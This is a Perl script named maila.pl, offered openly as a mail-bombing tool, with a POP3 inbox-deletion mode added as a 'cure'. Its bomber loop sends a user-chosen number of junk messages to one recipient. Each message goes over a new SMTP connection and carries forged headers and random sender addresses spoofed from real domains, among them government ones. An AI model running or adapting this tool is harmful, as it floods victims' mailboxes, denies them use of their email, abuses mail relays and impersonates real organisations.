#!/usr/bin/perl
###########################################################
#              maila.pl 0.1.5   by guybrush`              #
###########################################################
# This script is cure and disease as well. It's a simple  #
# mail bomber that can be executed in background on a     #
# server. It's also equipped with a mailbox cleaner, in   #
# order to neutralize other people's mailbombings.        #
###########################################################
# Requirements:                                           #
# ------------------------------------------------------- #
# 1. A computer     :)                                    #
# 2. An SMTP server which allows outgoing emails          #
# 3. A life                                               #
###########################################################
# Usage:                                                  #
# ------------------------------------------------------- #
# ./maila.pl [-c -s server -u userid -p password]         #
#            [-m -s server -d address -n number]          #
# -c - Enable the pop3 cleaner                            #
#    -s - address of the pop3 server                      #
#    -u - userid of the account                           #
#    -p - password of the account                         #
# -m - Enable the mail bomber                             #
#    -s - mail server which allows outgoing mails         #
#    -d - recipient                                       #
#    -n - number of messages to send                      #
###########################################################
# Greets:                                                 #
# ------------------------------------------------------- #
# Thanks to #perl@ircnet, DeMa, raptor, me, myself and I  #
###########################################################

use IO::Socket;
use Getopt::Std;
getopts("cms:u:p:d:n:");
if ($opt_c && $opt_m) { usage(); }
if (!$opt_c && !$opt_m) { usage(); }
if ($opt_c) { if (!($opt_s) || !($opt_u) || !($opt_p)) { usage(); } }
if ($opt_m) { if (!($opt_s) || !($opt_d) || !($opt_n)) { usage(); } }

if ($opt_c) {
$host = $opt_s;
$user = $opt_u;
$pass = $opt_p;
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"110") || die "Host Unreachable, stopped at";
print "Cleaning account $user\@$host ...\n";
$temp = <$remote>;
if ($temp =~ m/OK/) { print $remote ("user $user\r\n"); } else { die; }
$temp = <$remote>;
if ($temp =~ m/OK/) { print $remote ("pass $pass\r\n"); } else { die; }
$temp = <$remote>;
if ($temp =~ m/OK/) { print $remote ("list\r\n"); } else { die; }
$temp = <$remote>;
if ($temp =~ m/OK/) { 
 while (<$remote> !~ /^\./) {
  $temp = <$remote>;
  ($cn, $rudo) = split(/ /,$temp);
 }
 print "Erasing $cn messages...\n";
 for ($i = 1;$i <= $cn;$i++) {
  print $remote ("dele $i\r\n");
  if ($temp =~ m/OK/) { next; }
 }
} else { die; }
print "Done!\n";
print $remote "quit\n";
$remote->flush();
close($remote);
}

if ($opt_m) {
$host = $opt_s;
$rcpt = $opt_d;
$numb = $opt_n;
print "Mailbombing $rcpt with $numb messages...\n";
for ($i = 1; $i <= $numb; $i++) {
 $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"25") || die "Host Unreachable, stopped at";
 $temp = <$remote>;
 if ($temp =~ m/220/) { print $remote "helo hackers.com\n"; } else { next; }
 $temp = <$remote>;
 $mitt = &mittente;
 if ($temp =~ m/250/) { print $remote "mail from: $mitt\n"; } else { next; }
 $temp = <$remote>;
 if ($temp =~ m/250/) { print $remote "rcpt to: $rcpt\n"; } else { next; }
 $temp = <$remote>;
 if ($temp =~ m/250/) { print $remote "data\n"; } else { next; }
 $temp = <$remote>;
 $messaggio = &messaggio;
 if ($temp =~ m/354/) { print $remote "$messaggio\n"; } else { next; }
 $temp = <$remote>;
 if ($temp =~ m/250/) { print $remote "quit\n"; } else { next; }
 $remote->flush();
 close($remote);
 }
print "Done!\n";
}

sub messaggio {
$a = "a,b,c,d,e,f,g,h,i,l,m,n,o,p,q,r,s,t,u,v,z,j,k,w,x,y,1,2,3,4,5,6,7,8,9,0,A,B,C,D,E,F,G,H,I,L,M,N,O,P,Q,R,S,T,U,V,Z,X,Y,J,K";
(@alfa) = split(/,/,$a);
$messa = "Received: by s0gamelo.it id AA11212 with SMTP; Sun, 12 Oct 97 13:40:58\nMessage-ID: <123.AA11345\@fanculo.com>\nTo: <$rcpt>\nDate: Sun, 12 Oct 97 11:30:27\nSubject: Try to save yourself\n\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n\n.\n";
$messa
}

sub mittente {
$a = "a,b,c,d,e,f,g,h,i,l,m,n,o,p,q,r,s,t,u,v,z,j,k,w,x,y,1,2,3,4,5,6,7,8,9,0";
(@alfa) = split(/,/,$a);
$m = @alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)];
@domains = ("microsoft.com","libero.it","tiscalinet.it","katamail.it","tin.it","mail.com","hotmail.com","cia.gov","fbi.gov","nasa.gov","hackers.com","adultcheck.com","ciao.it","trovamore.com","abc.de","cybererotica.com","pmp.it","infinito.it","mp3.com","yahoo.it","ciaoweb.it","galactica.it","namezero.com","flashnet.it","ircd.it","funet.fi","stealth.net","webbernet.net","tvtb.it");
$dominio = @domains[rand($#domains)];
$mittente = "$m\@$dominio";
$mittente
}

sub usage {
print STDERR <<EOF;
Usage: $0 [-c -s server -u userid -p password] [-m -s server -d address -n number]
       -c - Enable the pop3 cleaner
          -s - address of the pop3 server
          -u - userid of the account
          -p - password of the account
       -m - Enable the mail bomber
          -s - mail server which allows outgoing mails
          -d - recipient
          -n - number of messages to send
Examples: $0 -c -s pop3.server.com -u foobar -p dunno
          $0 -m -s mail.server.cz -d foobar\@server.com -n 500
EOF
exit;
}